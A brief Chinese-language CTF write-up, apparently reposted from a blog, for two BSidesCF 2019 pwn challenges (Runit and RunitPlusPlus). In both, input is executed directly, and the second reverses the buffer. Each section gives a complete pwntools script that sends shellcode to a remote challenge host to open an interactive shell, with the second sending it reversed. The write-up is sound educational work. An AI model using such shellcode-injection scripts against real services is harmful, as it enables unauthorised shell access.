[BSidesCF 2019]Runit
查看保護

IDA查看程式流

讀入buf并執行,那么可以寫入shellcode
完整ex
from pwn import *
context(log_level='debug')
#io=process("./runit")
io=remote("node3.buuoj.cn",28430)
io.recv()
payload=asm(shellcraft.sh())
io.send(payload)
io.interactive()
[BSidesCF 2019]RunitPlusPlus
查看程式保護

IDA打開查看程式流程

讀入buf,最后再執行buf輸入的內容
主體關鍵是中間的for回圈,用了異或操作
可以假設buf[i]=a, buf[v8-i-1]=b, 那么對回圈里面的操作進行轉換有
a=a^b
b=b^a=b^(a^b)=a
a=a^b=(a^b)^a=b
即結果使得buf[i]= buf[v8-i-1], 那么對輸入的shellcode進行逆轉就行了,
完整的ex
from pwn import *
context(log_level='debug')
#io=process("./runitplusplus")
io=remote("node3.buuoj.cn",26920)
io.recv()
io.send(asm(shellcraft.sh())[::-1])
io.interactive()
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/248503.html
標籤:其他
